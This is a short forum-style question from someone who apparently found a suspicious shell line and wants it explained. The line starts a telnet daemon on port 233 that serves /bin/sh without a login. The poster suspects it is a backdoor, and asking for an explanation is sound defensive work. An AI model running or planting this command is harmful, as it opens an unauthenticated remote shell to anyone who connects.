Help with a deciphering command with telnetd in it

Help with deciphering commands [ $1 -ge 20 ] && telnetd -p 233 -l /bin/sh I know **/bin/sh** is a Bourne shell and telnetd is a telnet daemon but I'm not sure how they work together. I think someone tried to leave a back door open but I'm not sure what / how the other commands work together. Thanks